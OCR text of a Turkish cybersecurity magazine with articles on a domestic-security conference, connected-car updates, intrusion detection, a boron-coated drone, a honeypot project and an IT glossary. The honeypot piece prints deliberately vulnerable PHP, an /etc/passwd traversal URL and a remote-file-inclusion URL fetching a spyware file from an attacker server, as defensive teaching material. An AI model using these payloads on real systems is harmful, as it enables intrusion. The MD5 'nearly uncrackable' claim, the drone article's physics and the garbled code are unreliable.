dedi. Siber guivenlik alaninda ilk yerli ag ve uygulama za-
fiyet tarama ¢6zlimi olan Netsparker adina konusma
yapan web glivenlik uzmani Ziyahan Albeniz, tamamiyla
yerli alaninda uzman 33 kisiden olusan Netsparker ¢6-

zUmlerinin yurt disi pazar payinin yurt icinden daha fazla
oldugunu soyledi. Cok blylk kurumlar tarafindan tercih
edildiklerinin altini ¢izdi. Bunun yaninda Tirkiye'de inter-
net, 6zellikle de web glvenliginde firmalar marka yerine
gereksinimlerine odaklanirsa en dogru karari verebile-
ceklerini sdyledi. Netsparker olarak sosyal sorumluluk
projelerine 6nem verdiklerini, 6grencilere yonelik ¢ok sa-
yida lcretsiz egitimler verdiklerine de degindi. Milli Siber
Guvenlik ve Operasyon Merkezi Coziimleri sunumuyla
“ANET Yazilim kurucusu Ertugrul Akbas Tirkiye'de ihale-
lerde Gartner gibi uluslararasi tirlin degerlendirme kuru-
lumlariin raporlarinin baz alindigini, bunun da milli
Urtin kullaniminin éniinde en biyilk engel oldugunu
soyledi.



Akbas, Urun tercihlerinde “Eger sizin mevcut ihtiyaclari-
nizi karsilayacak bir yerli sanayi tGriint kullanilmazsa,
adapte olmakta zorlanacaginiz yabanci bir yazilim kul-
lanmak zorunda kalinir” diye ifade etti.

Yabanci bir kaynak kullanildiginda maddi kayiplarin di-
sinda bilgi glivenligini de kaybedilebilecegini vurguladi.
Bunun icin milli olarak Gretilmis ve milli ihtiyaglara yone-
lik kurulmus glivenlik operasyon merkezi (SOC, Security
Operation Center) kurulmasi gerektigini ve bu amaca
uygun ¢ozimler gelistirdiklerini sdyledi.

Securist Firmasindan Erhan Gormen ise varlik tabanli risk
degerlendirmesi yapabilen ve ¢ok hizli ve pratik bir se-
kilde biyulk ag yapilarinin zafiyet taramasinda kullanila-
bilecek bir ¢cok farklh tarama motorunu birlestirerek tek
bir ekran da yonetme ¢6ziimlerini anlatti.

TURKSAT Kurumsal Bilgi ve Siber Giivenlik Direktérii
Mehmet Ali Ortayatirtmaci sunumunda yasanan giincel
siber glivenlik sorunlarinin sebebinin llkemizde hizla
blylyen internet kullanimi oldugunu, bu konuda kulla-
nici farkindaliginin kilit rol oynadiginin kurum olarak egi-
timler diizenlediklerini soyledi.

Siber Giivenlikte Sivil Toplum
Kuruluslari

ISACA istanbul Chapter genel sekreteri Cem Ergiil, tilke-
mizde yabanci dil egitimindeki yetersizliklerin altini gize-
rek uluslararasi siber guivenlik standartlarina iliskin
onemli yayinlari Tirkce'ye kazandirdiklarini soyledi. Et-
kinligi diizenleyen Dog. Dr. Bilgin Metin'in de dernekle-
rinde akademik direktor olarak calistigini Gniversitelere
giderek genclere yonelik farkindalik calismalar yaptikla-
rini soyledi.

Sonug

Yapilan bu etkinlik siber glivenlik ekosisteminin olustu-
rulmasi noktasinda taraflarin birbirini anlamasi nokta-
sinda glizel bir adim olmus oldu. Milli siber giivenlige,
kamu, savunma sanayii, TUBITAK, acik kaynak kod, biyo-
metrik sistemler, Uretici bakis acilarindan yaklasilmis
oldu. Yogun ve kritik konular iceren etkinlik “mili ¢c6ziim-
ler” parolasiyla Glkemizin siber glivenlik alaninda yetkin
ve etkin bir role sahip olacagi, alaninda uzman kisilerce
tasdik edildi.
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Siber Guivenlikte Guincelleme
ve difrelemenin Onemi

Giiniimiiz teknolojisini inceledigimizde inanilmaz boyutlara varan bir kul-
lanim talebi goriinmektedir. Bu hiz, hi¢ diismeden kat be kat yukari yonlii
bir ivme kazanmaktadir. Yeni teknolojilerin kesfi ile birlikte yeni saldiri

tipleri de gelismektedir.

Abdullah iSSEVER

Siber Gilivenlik Danigmani

abdullahissever@gmail.com

Uunimuz teknolojisini inceledigimizde ina-

nilmaz boyutlara varan bir kullanim talebi

gorinmektedir. Bu hiz, hi¢ dismeden kat

be kat yukari yonlu bir ivme kazanmakta-

dir. Yeni teknolojilerin kesfi ile birlikte yeni
saldir tipleri de gelismektedir. Artik sirket ve ev icin
kullanmis oldugumuz elektronik cihazlar, birer isle-
tim sistemine sahipler.

Kullanici dostu olan bu isletim sistemleri hem kulla-
nimi kolaylastiriyor hem de enerjiden tasaruf etme-
mizi sagliyor. Bu nedenle talep gittikge artmaktadir.
Bu talebi karsilayan irili ufakli tiim sirketler pastadan
daha buytk pay almak icin bliylk projelere imza ata-
rak yeni teknoloji Grinlerini gelistirip son kullaniciya
ulastinyor. Ozellikle otomobil diinyasi bu konuda
blyik bir ivme yasayarak misterisine sadece bir
ara¢ degil tam bir teknoloji harikasi araglar tiretmeye
baslayarak teslim ediyor.

Peki bu ne kadar giivenli?

Bu sorunun cevabi, yapilan arastirmalarla yeni Ureti-
len araglarda uygulanan penetrasyon testleri sonu-
cunda cihaza erisim saglanmakta ve otomobil ele
gecirildikten sonra belirli donanimlara miidahele
etme sansi vermeketedir.

Konunun daha vahim durumu ise yeni Uretilen in-
sansiz yoluna devam eden araclar ve ayrica artik
drone mantigi kullanilarak ugabilen ve yakin za-
manda Uretilecek araglardir. Clinki direksiyon haki-
miyeti manuel (analog) degil, artik tamamen
yazilimsal olarak tam otomatik siirlis imkani vermek-
tedir. Aslinda Uiretim esnasinda bir ¢ok giivenlik 6n-
lemi alinsada, yazilimsal olarak bug ve aciklarin
¢cikmasi, bunlarin onarilma stirecleri bu durumu zor-
lastirabilir.

Fabrikasyon donanimsal teknik hatalarin oldugu
araclar geri cagirilarak diizeltmeler yapilabiliyor.
Ornek verecek olursak; bir aracin vites kutusunda bir
sorun ¢ikmasi veya fren pedali gibi. Peki bu konu ya-
zihm olunca her giincelleme sonrasi araclarin ¢agiril-
masi pek mantikli olacak mi? Elbette mantikli degil.
Cunkd 1 yil icerisinde bir kag glincelleme olabilecegi
gibi 1 ay icinde de bir ka¢ gtincelleme olabilir. Bu ko-
nuda isletim sisteminin veya lizerinde bulunan uy-
gulamarin guincellenmesi icin mutlaka bir internet
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ortami hazirlanarak erisime agilmasi s6z konusu ola-
caktir. Asil sorun, tam da burada baslayor. Cuinku
uUretilen araclarin internete ihtiya¢ duymasi (navigas-
yon guincellemeleri, uygulama gtincellemleri ve
hatta anlik trafik durumu glincelleme gibi uygula-
marin kullanim istegi) kaginilmaz bir durum olacak-
tir.

Bu nedenle isletim sistemi ve uygulama katmani sal-
dirtya acik bir hal alacaktir. Bu durum hacker gruplari
tarafindan miidahale edilebilecegi gibi sahisa 6zel
rent a hacker yani kiralik hacker tarafindan da mani-
pule edilebilir. Hatta aracinizi bakim icin ilgili ku-
ruma teslim ettiginizde kotu niyetli bir calisan
tarafindan da ve belli bir yardim ile otomobil mani-
pule edilebilir. Bu durum yeni gelismelere acik olan
robotik strecleri de etkileyecektir. Ev veya sirket icin
kullanmak isteyecegimiz bir robotik Grintnin ek
ozellik(ler) ylkleyebilecegimiz gibi isletim sistemi
glincelleme ihtiyacglar da s6zkonusu olacaktir.

Bu durumda yine interente yani halka acik bir hal al-
masi kacinilmaz bir durum olacaktir. Bu Griinlerin
glvenlik 6nlemleri biiyik 6nem arz etmektedir. Bir
tablet belki bir tehtid unsuru olmayabilir ama direk
insan hayatini tehtid edebilecek Grinlerin Gretimi
mutlaka yeni trendlere bagl olarak yeni kurallar ile
saglanmalidir.

Nasil bir giivenlik onlemi alinabilir?

Bu sorunun cevabi ise, her ne kadar detayl bilgi pay-
lasimi yapamiyorsak da isletim sistemi ve uygulama
katmani sifreli bir yapiya sahip olmasi ve iletisim ka-
nallarinin sifrelenmesi ile bu basari %90-95’lere vara-
bilir. Her zamanki deyisimizle %100 glvenlik yoktur.
Gunku her ¢ikan yeni bir teknoloji yeni bir kapi arala-
maktadir ve yeni mantiksal erisimlerin 6nuni ag-
maktadir. Bu nedenle glincellemelerin varligi bir o
kadar 6nem kazanmaktadir. Bu giincellemeler sa-
dece otomobiler veya robotik Grlinler icin degil, bil-
gisayarlarimiz, cep telefonlarimiz ve hatta isletim
sistemine sahip beyaz esyalarimizda da (buzdolabi,
bulasik ve camasir makinasi, kombi vs) 6nem arz et-
mektedir. Teknoloji, ne kadar ¢ok hayatimizi kolay-
satiriyorsa yeni Urtinler ile o kadar da tehlike arz
ediyor olabilir. Bu nedenle almis oldugumuz veya
alacagimiz Grintnun devamlihdr agisindan giincel-
leme sikhgini inceleyerek satin almaliyiz.



Saldir Tespit Sistemleri

Saldiri Tespit Sistemleri (STS), isminden de anlasilacagi tizere sistem gii-
venligini saglama amacli, ger¢ek zamanli ¢alisan, sistemin ag aktivitele-
rini analiz ederek, tehlikeli durumlarda alarm veren veya saldirganin
sunucuya erisimini engelleyen sistemlerin genel adidir.

Ali Cihat KELLE

Bilgisayar Miithendisi

ackelle@hotmail.com

aldiri Tespit Sistemleri (STS), isminden de
anlasilacagi tizere sistem glivenligini sag-
lama amacl, gercek zamanli ¢alisan, sis-
temin ag aktivitelerini analiz ederek,
tehlikeli durumlarda alarm veren veya
saldirganin sunucuya erisimini engelleyen sistemle-
rin genel adidir. STS giinimize kadar gelen yolculu-
guna ilk olarak 1980 yilinda Amerika Hava
Kuvvetleri biinyesinde basladi. Bilgi glivenligi ve Sa-
vunma Bilim Kurulu Gyesi tarafindan, “Bilgisayar Gu-
venlik Tehditlerini izleme” adinda bir rapor
yayinlandi, daha sonra ag trafigini strekli dinleyen
ve bilinen tehditlerin listesiyle otomatik karsilastir-
malar yapan, kural tabanli sistemler gelistirildi. ilk
gercek zamanh STS ise, 1984-1986 yillari arasinda
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gerceklestirildi.Saldir 1 tespit sistemleri (STS) genel
olarak literatiirde Intrusion Detection System (IDS)
ve Intrusion Prevention System (IPS) olarak adlandi-
rilmakta, aralarindaki temel fark ise IDS’lerde saldiri-
nin kaydinin tutularak yetkili kisilere bildirim
yapilmasi, IPS’lerde saldiri kaynagdinin tespiti son-
rasl, ek olarak saldirinin sisteme erisiminin dnleme-
sidir. Sunucu glvenligi dendiginde aklimiza ilk
gelen arac hepimizin bildigi gtivenlik duvaridir (Fi-
rewall).Peki glivenlik duvarimiz varken neden bir
saldirn tespit sistemine ihtiyacimiz olsun?

Her ikisi de sistemde sunucu guivenligini sagla-
makla birlikte, bir sunucuda guvenlik icin birbirini
tamamlayan ogelerdir.
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Saldiri Tespit Sistemlerinde g6z ardr ettigimiz, sik
rastlanmayan senaryolar veya tanimlanamayan sal-
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dirilar Anormal Tespit (Anomaly Detection) algorit- ‘:,,;:.‘" - RIS

malari ile olur. Bu algoritmalar sistemimizin ag trafik -

yogunlugunun zamana gore bilgisini tutar. Ag tra- - —
-

figimizdeki artis ge¢cmis verilerle karsilastirilarak
bunun anormal olup olmadigina karar verilir, bunun
sonucunda anormallik tespit edilirse, sistem yone-
ticisine bildirim yapilir.

L

Sistemimize gelen trafigi ilk olarak guivenlik duvari karsila- min 6ngoriilen yukini dikkate almak gerekir.
maktadir ve Glivenlik duvarlari bizim sistemimize gelen ag
trafiginde, hangi paketlere izin verilecegine karar vermekte-
dir. Paketler sisteme girdikten sonra, STS iceri alinan paket-
lerden, sunucumuzun verdigi tepkiye de bakarak hangisinin
bizim iznimizin haricinde oldugun tespit eder.

Bir STS'de ana eylemler; ag trafiginin dinlenmesi, internet
paketlerinin ayristirilmasi (Parsing), paketlerin dnceden be-
lirledigimiz kurallara uygunlugunun kontrol edilmesi (saldiri
olup olmadigina karar verilmesi), son olarak yoneticiye bildi-
rilmesi veya engellemesinden olusmaktadir. Gliniimiizde
STS paketin saldiri olup olmadigina karar verirken, bizim 6n-  STS teknolojileri, bahsettigimiz ana cercevede, maksimum
ceden belirledigimiz kurallarla karsilastirmalar yapar. STS glivenlik misyonunda, kendi icinde ézel basliklara ayrilmis,

son adimda saldiriy1 engellemek icin yine glvenlik duvarina  yeri giivenligini de icine alarak gelisimini stirdiirmektedir.
ihtiyac duyabilmektedir. Bu yontemle saldiri kaynagi ilk

adimda Guivenlik Duvarinda engellenir ve STS bir kez daha Bu tir sistemlere ihtiyacimiz ge¢miste oldugu gibi, gele-
ayni kaynaktan gelen saldirilara enerji harcamaz. Saldiri tes-  cekte de artarak devam edecektir. Hedefimiz Bilgi Glvenli-
pit sistemleri, gercek zamanli ¢alistigi icin teknik olarak hiz giyse eger, kisilerden kurumlara, bu tiir sistemlerin hayati
¢ok onemlidir ve bu tir yazihmlarin dizayni yapilirken, siste-  gerekliliginin, farkindaligina sahip olmaliyiz.
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Nanopartikuler Sodyum Pentaborat

Baryum Stilfat kapl

Hayalet Ucak

Muhammed Emin CAGLAR

memincaglarr@gmail.com

Bor teknolojisi yuizyillardir insanhgin farkedemedigi, farketse bile deger-
lendiremedigi bir alan . Bu alanda evrene yararli olabilecek bir teknoloji
gelistirmek insanlik adina yararh olacaktir.

ararlilik kavrami gorecelidir

19. Ylzyilda insanhga fay-

dali olan bir bulug, 20.ylz-

yilda bir kabusa

donusebilir. Kuarklar ve
Leptonlarin birlesimi sonucu Hadran,
Mezon , Baryonlari olusturan Atom Ce-
kirdeginin sonucunda Sezyum madde-
sinin temel elementleri ortaya
cikmistir. Bu da Nukleer bir silahin te-
mellerini olusturur.

Bu temeller 21. Yiizyila gelindiginde in-
sanlara zarar vermek amach kullanilsa
da buna karsi 6nlemler alinmasi ve yeni
teknolojiler gelistirilmesi icin blyuk bir
hizla calismalara baslanmistir. Bu calis-
malardan biri Nikleer bir silah ateslen-
diginde radyasyon seviyesinin yiksek
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ve Noétronlarin hakim oldugu bir hava
da insansiz bir hava aracinin atmosferin
icinde gezmesi buyuk bir bulus olacak-
tir. Blylk bir nétron patlamasinda hava
da veya yerde elektronik ne var ise ¢a-
lismayacagini biliyoruz.

Bu ihtimali g6z 6niine alacak olursak
Notron tutucu bir boyayla kaplanmig
insansiz hava aracini hava da gérmek,
bir devri arkada birakmak olacaktir .Sa-
dece bununla da kalmayip Radara ya-
kalanmama 6zelligi tasimasi arti bir
oOzelliktir. Boylece sessiz bir sekilde
hava da suzllup termallere yakalanma-
dan disman hedeflerini geri piskdrte-
bilecek. Bu da devrim niteliginde bir
icat olma statlistinii tastyor. Aerodina-
mik yapisiyla ve tasarimiyla bir bitiin
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halinde gelistirilen iHA , 6zel bir kap-
lama teknigi ile bor maddesine adapte
edilmis ve saglikh bir sekilde denen-
mistir. Ucagin mekanik yapisini koru-
yan bu 6zel boya ayni zamanda
yaslanma testlerinden olumlu sonuc al-
mistir. Cekme germe mukavvemeti,
Alfa Gama Beta X isinlarini tutuculugu
ve en 6nemlisi Atom Alti parcaciklari
tutucu ozelligi ile 6n plana ¢ikmaktadir.
1 mikron 3 su molekill derecesine in-
dirmeyi basardigimiz bor maddesini
boya formatina getirebilmemiz bash
basina bir bulustur.

Sezyum137 Atom bombasinin ana
ham maddesi olan Notron dl¢iim tiip-
leriyle test edilmis olan ucagin dis bo-
yasi , nitelikli bir yapiya sahiptir.

Ucagin tasarimi Mﬁhla | et
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Emin Gaglar'a ait bir calis
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Weh Tabanh Siber Saldirlara
Karsi Tuzak Sistemi

Gliniimiiz teknolojisini inceledigimizde inanilmaz boyutlara varan bir
ullanim talebi goriinmektedir. Bu hiz, hi¢ diismeden kat be kat yukari
yonlii bir ivme kazanmaktadir. Yeni teknolojilerin kesfi ile birlikte yeni

saldin tipleri de gelismektedir.

Muhammed Emin OZDEMIR

Bilgisayar Miihendisi

m.eminozdemir@outlook.com.tr

Unimuzde kurumlar ve sirketlerde, teknolo-

jik yatinmlara agirhik verilip, bilgi Gretimi ve

kullaniminda bilgi giivenliginin saglanmasi

gibi 6nemli bir surecin gézden kagirildigi go-

rilmektedir. Bunun yani sira Cin gibi gelis-
mis Ulkelerde siber glivenlik tuzak sistemleri olarak
bilinen bal kiipl (honeypot) denilen bazi sistemler kul-
lanilmaktadir. Honeypot'lar bilgi sistemlerine yetkisiz
erisen saldirganlar ya da kullanicilar hakkinda bilgi
toplamaya yarayan tuzak sunuculardir. Bu sayede su-
nucularin bir bliman{ tuzak sisteme donustirerek
ehemmiyeti yiksek olan verileri barindiran sunucular
olasi tehditlerden arindirmayi saglamaktadir.

Ulkemizde kullanimi yaygin olmayan bu sistemin bir
test modelini sanal sunucularimiz (izerinde olusturarak
bu sistemin bir senaryosunu hazirladik. Bunun icin
sanal sunucu barindiran “VMWare Workstation1” yazili-
minda “Ubuntu2”isletim sistemi lizerine “PHP3" ve
“MySQL4" mimarisi kullanarak 6érnek bir bankacilik sis-
temi olusturduk. Bu sistemde glivenligi daha az 6nem
arz eden ara ylz ekranina kasith olarak kodlama hata-
lar1 ekledik ve bilingli olarak gtivenlik zafiyetleri olus-
turduk. Fakat bu glivenlik zafiyetleri istismar edildikleri
anda istismari gerceklestiren uzak bilgisayarin IP adresi
tipki sisteme erisen diger tiim IP adreslerinin kaydedil-
digi gibi sistemdeki log dosyasinin5 icine kaydedildi.

Olusturulan sistem ile kaydedilen bu paketler bir filtre-
den gegirilerek hangisinin kot amach kullanim oldu-
gunu ayirt edilebilir. Tespit edilen saldirilar tek tek bir
cikis verisine kaydedilir. Sistem, kendisine modiil ola-
rak eklenen 6zellik sayesinde sunucu yoneticisine ko-
tiye kullanim s6z konusu oldugunu belirten ve bu
kotuye kullanimin icerigine dair detaylibilgiler veren

"SELECT * FROM news WHERE title LIKE '%" .

bir eposta gonderir. Hazirlamis oldugumuz bu proje,
olusturulan bankacilik sistemi tizerindeki olasi tehdit-
leri guivenlik istismari bekledigimiz bolgelerden alma-
mizi saglar. Bu sayede hem glvenligin cok¢a 6nem arz
ettigi banka veri tabani sistemlerinde tutulan kisisel
bilgilerin gizliligini saglamis olup hem de olasi tehdit-
lere karsi dnlem almamiza hatta gerekirse saldiry1 ger-
ceklestiren uzak bilgisayarlardaki IP6 adreslerinin
sisteme erisimlerinin engellenmesini kolaylastirir.

Proje temel olarak alti asamada calismaktadir; Hedef
sistemin ara yUzin{n olusturulmasi hedef sistem lize-
rinde glivenli bolge olusturulmasi hedef sistemin sal-
dirgan tarafindan istismar edilmesi Filtreleme
kullanarak log analizi yapilip saldirilarin tespit edilmesi
sunucu yoneticisinin saldirilar hakkinda detayl olarak
bilgilendirilmesi log analizi isleminin sunucu tarafin-
dan belirli araliklarla kendiliginden yapilmasi bankaci-
lik ara yliziinGn olusturulmasi HTML7, CSS8,
JavaScript9 ve PHP dilleri kullanilarak gerceklestirilmis-
tir. Bu ara yuze bilincli olarak glivenlik agiklari yerlesti-
rilmistir. Belirledigimiz hedeflere saldiri geldigi
takdirde bunu log dosyamizdan analiz edip saldirgan
kisinin IP adresi tespit edilerek daha buiylk zarar veril-
mesinin oniine gecilmesi amaclanmistir. Bankacilik ara
yuzinUn veri tabani olusturulurken disiik 6neme
sahip bilgiler iceren, yalnizca web sitesi Gizerindeki me-
tinleri barindiran tablolar olusturulmustur.

Saldiriyi gergeklestiren uzak bilgisayar hem sisteme
herhangi bir zarar verememis olacak hem de olustur-
dugumuz tuzak sistemi sayesinde saldirinin tespiti sag-
landigindan erisim sonucu; IP adresleri, baglanti paket
bilgileri, kullandigi tarayici bilgileri gibi izler ele gegiril-
mis olacaktir.

Stitle . "%'";

<?php

if(isset(S_GET["title"]))

{
Stitle = $_GET["title"];
Ssql =
Srecordset = mysqli_query(Slink, $sql);
if(!Srecordset)

{

>
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Bankacilik sisteminin glivenligi nem arz eden bolu-
munde ise kesinlikle hicbir gtivenlik acikhdina yer veril-
meyecektir. Clinkl bu bélimdeki veri tabani
tablolarimizda; banka hesap bilgileri, kredi karti bilgileri,
kisisel veriler, cekler ve senetler vb. verilerin bulunmasi
s6z konusu oldugundan ¢ok daha giivenlikli bir yapida
olmasi ve olasi saldirilardan oldukga iyi bir sekilde ko-
runmasi gerekmektedir.

Sekil 1.1. deki gibi gériinen PHP kod parcacigindaki
“Stitle” deg@iskeninin tirnak isaretleriyle ayrilmasi sonu-
cunda bir SQL Injection10 zafiyeti olusturuldu. Eger
benzer sekilde “GET” parametresi ile gelen girdileri veri
tabani sorgusuna dahil edersek, gonderilen parametre
iceriginin sonuna bir adet daha tirnak isareti eklenmesi
durumunda SQL Injection suiistimali gergeklestirilebilir.

Sekil 1.2. deki gibi gériinen PHP kod pargacigindaki
“sayfa” parametresinin sayfa icerisine direk dahil edil-
mesi sonucunda LFI ve RFI glivenlik zafiyetleri olustu-
ruldu. Bu sayede koti niyetli kullanicilar (saldirganlar)
tarafindan cok sik kullanilan ve goriilmesi kolay bir he-
defhaline getirerek tuzak sistemimizin isleyi sini hizlan-
dirmis olduk.

Kali Linux13 (Saldirgan Sistem) tarafindan bu saldirilar
bazi araclar kullanilarak veya manuel olarak gerceklesti-
rilebilir. Ornegin; SQL Injection zafiyeti istismari gercek-
lestirilirken sqlmap14 isimli saldiri araci kullanmak veya
sayfa URL15'sini kullanmak tamamen tercih meselesidir.
ikisinin arasinda sadece zaman farki vardir.

Eger sglmap saldiri araci kullanilarak bir suiistimal ger-
ceklestirilirse bu islem ¢ok daha kisa bir stirede gercek-
lesir.

Projedeki glivenli bolgemiz olan bankacilik sisteminin
bireysel kismina TC Kimlik Numarasi ile erisim saglana-
rak daha glivenli hale getirilmistir. Ayrica bu kisimda
kullanilan TC Kimlik Numarasinin dogrulugunu test
etmek icin bir PHP fonksiyonu yazilmistir.

Bu fonksiyon sayesinde, erisim saglanirken eger sisteme
TC Kimlik Numarasi haricinde baska bir deger girisi yapi-
lirsa sistem bunu kabul etmeyip hata vermektedir.
Bunun yani sira glivenli bolgeye giris yapilirken MD516
sifreleme algoritmasi kullaniimistir.

Yani sistemin veri tabaninda, giris sifreleri MD5 sifre-
leme algoritmasi kullanilarak tutulmaktadir. Bu sayede
sifrelerin baskalari tarafindan kirilmasi neredeyse im-
kansiz hale gelmistir. Sqlmap programi araciligiyla giri-
len;

http://www.a-bank.com.tr/?title=1

komutunun calistirilmasi sonucunda sisteme basarili bir
sekilde erisildigi ve sistemin tum bilgilerinin log

<?php
if(isset(S_GET["sayfa"])) {
Ssayfa = S_GET["sayfa"
include Ssayfa;
} else {
2>

function tckimlik(Stckimlik)

Solmaz=array(’

if(Stckimlik[0]==
return false:

or !ctype digit(Stckimlik) or st

else|

for(Sa=0;5a<";5a=5a+7) |
$ilkt=Silkt+Stckimlik[Sa);

for(Sa=.:5a<:5a=5a+2) |
$sont=Ssont+Stckimlik([$al;

for (Sa=;5a< ! (;§a=5a+])
Stumt=Stumt+Stckimlik([Sa

1£((Silkc*7-$sonc)® Stckimlik or Stumthy

else
foreach(5olmaz as Solurmu) | if(Stckimlik==$5

return true:

function tckimlik(Stckimlik

Solmaz=array(’

if(Stckimlik([(]== or str

return false:

or !ctype digit(Stckimlik)

else

for ($a=_;%a<";5a=5a+’)
Silkt=§ilkt+Stckimlik([Sa]l;
for(Sa=1:5a<%;Sa=5a+.) |
$sont=§sont+Stckimlik(sal;
for ($a=_;5a< (;5a=5a+1)
Stumt=5tumt+§tckimlik([Sa);
1£(($ilkt*7-Ssont)¥l(!=5Stckimlik|[5] er S$Stumth
else
foreach(Solmaz as Solurmu) | if(Stckimlik==$5o

return true:

dosyasina kaydedildigi gorilmektedir. Bu sorguyu ilerle-
terek sistemdeki veri tabani bilgilerini, veri tabani igin-
deki tablo bilgilerini ve tablolarin icindeki verileri
gdérmemiz

mumkindur. Bu islemler tarayici Gizerinden manuel ola-
rak da gerceklestirilebilir. Local File Inclusion (LFI) ve Re-
mote File Inclusion uygulamalarinda da ayni SQL
Injection uygulamasinda oldugu gibi glivensiz sistem
tarafindan Apache loglarinin analiz edilmesi sonucu
herhangi bir saldiri olup olmadiginin tespit edilmesi 6n-
gorulmektedir.

http://www.xxx.com.tr/?sayfa=../../../etc/passwd

Yukaridaki URLye girildiginde sunucu tzerindeki erisimi
kisitlanmis olan “/etc/passwd” dosyasina erisim mim-
kiin olacaktir.

Bu tiir bir saldiri Local File Inclusion (LFI), yani yerel su-
nucu Uzerindeki dosyalarin web sitesi tizerinde ¢ahstiril-
masi saldirisi tlirine girer.
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® Ucbirim Dosya Duzenle GorGnim Ara Ugbirim Yardim

@ubuntu:~/Desktop/scalp

@ubuntu:~/Desktop/scalps §

Sekil 3.1. Scalp ile Saldir1 Olmadan Analiz Sonucu

® Ucbirim Dosya Duzenle Gorunim Ara Ugbirim Yardim

@ubuntu:~/Desktop/scalp

@ubuntu:~/Desktop/scalps B

Sekil 3.2. Scalp ile Saldir1 Sonras1 Analiz Sonucu

Remote File Inclusion (RFI) uygulamasi, uzak sunucu lize-
rinde dnceden yerlestirilen bir dosyanin sisteme dahil edil-
mesi sonucu gergeklestirilir. Bu sayede sistem Uizerinde uzak
dosya calistirilarak baska casus yazilimlar yiklenmesine ve
calistirlmasina imkan saglanmis olur.

Ornegin;

"http://www.xxx.com.tr/?sayfa=
http://www.saldirgansunucu.com/casus.txt?”

Gergeklestirilen bu saldirilarin tespit edilebilmesi icin logla-
rin analiz edilip, saldiri icerikli paketlerin filtrelenmesi gerek-
mektedir.

Bu uygulama icin bize gerekli olan bir log analizér programi-
dir. Biz de bunun icin Scalp Log Analyzer17 isimli programi
ihtiyacimiz dogrultusunda modifiye ettik ve Tirkcelestirdik.
Scalp adli log analizér programini galistirirken 6nceden ha-
zirlanan “filter.xml” isimli saldirn paketlerini, standart erisim
paketlerinden ayiran bir yardimci dosya kullaniyoruz.

Bu sayede hangi paketin saldiri amagli hangi
paketin standart erisim amach oldugunu ayirt
edebiliyoruz. iki asamali olarak sistemimizin
calisip calismadigini inceleyecegiz. ilk olarak
hicbir saldirn olmadan 6nce standart erigsim
saglayip log analizi yapacagiz. Daha sonra ise
sisteme yerlestirdigimiz acigi istismar ettikten
sonra log analizi yapip, sonuglar birbiri ile kar-
silastiracagiz. Scalp programi ile log analiz is-
lemi, terminal ekraninda asagidaki gibi bir
komut kullanilarak yapilmaktadir; “/scalp.py -
/var/log/apache2/ access.log f filterxml -o
output” Son olarak projedeki Scalp programi
ile loglarin analiz edilmesi islemi, “CronJob18”
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diye tabir edilen yontem ile belirli araliklarla calistirilarak sis-
temin surekliligini ve kendiliginden ¢alismasini saglamis olu-
ruz. Bu sayede sunucuya yakin olmasi gereken bir yoneticiye
ihtiyagc duymadan sistemin kendisini analiz edip tehdit olup

olmadigini arastirmasi saglanir.

Bu da sistemin devamlilidini garanti etmis olur. Bu dogrul-
tuda hem sistemi daha guivenli hale getirecek hem de su-
nucu yoneticisinin strekli bilgilendirilmesi saglanacaktir.

Projede Kullanilan Yazilim Elemanlar

VMWare Workstation, Ubuntu Linux, Kali Linux, Scalp Log
Analyzer (Modifiyeli ve Turkgelestirilmis hali)

Projede Kullanilan Teknolojiler

Apache Web Server, PHP, MySQL, Python Test Gerceklestirme
Metotlar: SQL Injection, Local File Inclusion, Remote File
Inclusion

Tesekkur

Projenin basindan itibaren her asamasinda yardimci

olan, yol gésteren ve takip eden Firat Universitesi Bil-
gisayar Muhendisligi sayin akademisyenleri olan
sayin hocalarim Yrd. Dog¢. Dr. Ahmet CINAR’a ve Dog.
Dr. Bedri OZER’e manevi desteklerinden dolay:
tesekkiiru bir borg bilirim.
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eknoloji artik yasamimizin ayrilmaz ve oldukga

onemli bir parcasi. Bu yerytiziinde yasayan her

insan artik az ya da ¢ok teknolojiye bagimh yasi-

yor; 6zellikle bilgisayar teknolojisi ve dijital kitle

iletisim araclarini kullanmayan yok gibi. Ulkemiz
ozellikle son on yilda bilgisayar kullanimi siralamasinda
basat llkelerden biri haline geldi. Yurttaslarimiz bilgisayar
ve bilgisayarla iletisimi seviyor.

Dahasi bilgisayar artik Gretim ve hizmet sektoriiniin her ye-
rinde kullaniliyor. Bilgisayarsiz bir yasam dislemek artik
hayal. Zaten bilgisayar teknolojisi de glin gectikce daha da
geliserek kendini daha cazip ve kullanilabilir hale getiriyor.
Acikcasi kurumumuz olarak bu durumdan sikayetci degiliz;
sadece bu teknolojinin insanlar ve uluslar aleyhine oranti-
sizca kullanilmasina karsiyiz ve buna karsi etkin bir mica-
dele vermeye calisiyor ve bu konuda bilin¢lendirme
yapmaya calisiyoruz.

insanimiza ve tilkemize sevgimiz geregi siber giivenlik konu-
sunda calisma ylrutlyoruz. Siber glivenligi ve teknolojiyi ne
kadar seviyorsak insanimizin kiltirand, dilini ve folklorunu
da o kadar ¢ok seviyoruz. Bu bapta bilgisayar ve alakali te-
rimlerin Turkgelestirilmesi ile ilgili bir tutum alip konuyla il-
gili kurum ve kisilerle calisma yaparak bu soruna bir katkida
bulunmaya karar verdik. Burada bazi terimlerin Tlrkgelerini
vermeye calistik ve katki sunmak isteyen herkese de kapilari-
miz sonuna kadar acik.

Ayrica bu konuda calisma yapan kurum ve kisilerle iletisime
gecmek icin de elimizden geleni yapacagimizi kamuoyuna
bildiririz. Bu arada computer diye evrensellesmis sézctigin
Turkgesi olarak bilgisayar s6zctigiiniin dilimizde yer bulmasi
ve kabul gérmesi ¢ok sevindiricidir buna karsin ne yazik ki
Mouse gibi tam Tirkgesi fare olan sézcligin ise az kullanihr
olmasi distindiriiciidir. Ozetle is en son noktada halkimiza
ve bilgisayarla daha iliskili ve ilintili olan kullanicilara kalmis-
tir.

Bilgisayar ve bilisim alaninda calisan ve 6ncii olan kisi ve ku-
rumlar Turkce sézciikleri ne kadar ¢ok kullanir bunlarin ya-
banci karsiliklarina o denli az yer verirse bu durum dilimiz
lehine olacaktir. Cesitlik kaynaklardan dererek olusturmaya
calistigimiz sirali sozcuk listesi asagidadir. Umarim ilgilenen-
lere yararl olur.

1) access [control] - erisim [denetimi] -

2) account - hesap

3) activate - etkinlestir

4) activated - etkinlestirildi, etkinlestirilmis, etkin, isler calisir

5) active - etkin, isler, calisir
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6) activity - etkinlik

7) add - ekle

8) administer - yonet

9) administrative - ydnetsel, yonetimsel, ydnetici, yonetim
10) administrator - yonetici

11) advanced - gelismis, geliskin, ileri

12) aggregate - topla,derle, y1§

